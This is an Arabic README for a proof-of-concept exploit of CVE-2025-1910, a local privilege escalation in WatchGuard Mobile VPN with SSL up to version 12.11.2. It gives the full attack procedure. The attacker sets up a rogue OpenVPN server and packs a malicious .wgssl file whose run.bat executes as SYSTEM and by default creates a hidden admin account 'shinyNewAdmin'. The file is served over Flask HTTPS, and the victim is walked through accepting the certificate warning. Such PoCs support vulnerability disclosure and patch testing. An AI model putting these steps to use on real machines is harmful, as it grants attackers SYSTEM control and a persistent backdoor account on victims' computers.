
إثبات مفهوم لاستغلال CVE-2025-1910، وهو تصعيد امتيازات محلي داخل عميل Mobile VPN with SSL من Watchguard.
تسمح ثغرة تصعيد امتيازات في Mobile VPN with SSL من WatchGuard <= 12.11.2 لمستخدم منخفض الصلاحيات بتنفيذ أوامر بصلاحيات SYSTEM على العميل. تم اختبارها مع إصدار 12.11.2 من Mobile VPN with SSL.
لمزيد من التفاصيل، راجع مقالنا على المدونة (النسخة الألمانية).
sudo openvpn --config server.conf

عدّل خيار remote في ./client/client.ovpn ليشير إلى خادم OpenVPN
عدّل ./client/run.bat حسب رغبتك، سيتم تنفيذ هذا السكربت بصلاحيات SYSTEM. افتراضيًا، يتم إنشاء مستخدم إداري جديد (shinyNewAdmin)
أنشئ ملف WatchGuard الخبيث client.wgssl:
cd client/
# Create checksum
md5sum client.ovpn run.bat > MD5SUM
# Pack into a .wgssl file
tar -czf ../client_exploit.wgssl client.ovpn MD5SUM run.bat
cd ..
client.wgssl عبر flask:# Start the flask HTTPS server
sudo python3 srv.py

اختياريًا، يمكن إنشاء زوج شهادة ومفتاح جديد عبر openssl:
# Create certificate and private key for the HTTPS connection
openssl req -x509 -newkey rsa:4096 -nodes -out server.crt -keyout server.key -days 365 -subj "/CN=firebox"
بعد ذلك، على جهاز الضحية حيث تم تثبيت إصدار ضعيف من Mobile VPN with SSL (مثل الإصدار 12.11.2، تنزيل)، حاول الاتصال بخادم المهاجم. لا يهم اسم المستخدم وكلمة المرور المُدخلان:

انقر على Yes في التنبيه الأمني لتجاهل تحذيرات الشهادة:

بعد إنشاء الاتصال بنجاح، يتم تنفيذ ملف run.bat ويتم إنشاء المستخدم shinyNewAdmin:

على خادم المهاجم، تحتاج إلى تثبيت Python وopenssl وopenvpn. بالإضافة إلى ذلك، يجب تثبيت حزمة flask الخاصة بـ Python:
pip install -r requirements.txt
مع تثبيت Nix، يمكنك ببساطة بدء بيئة التطوير:
nix develop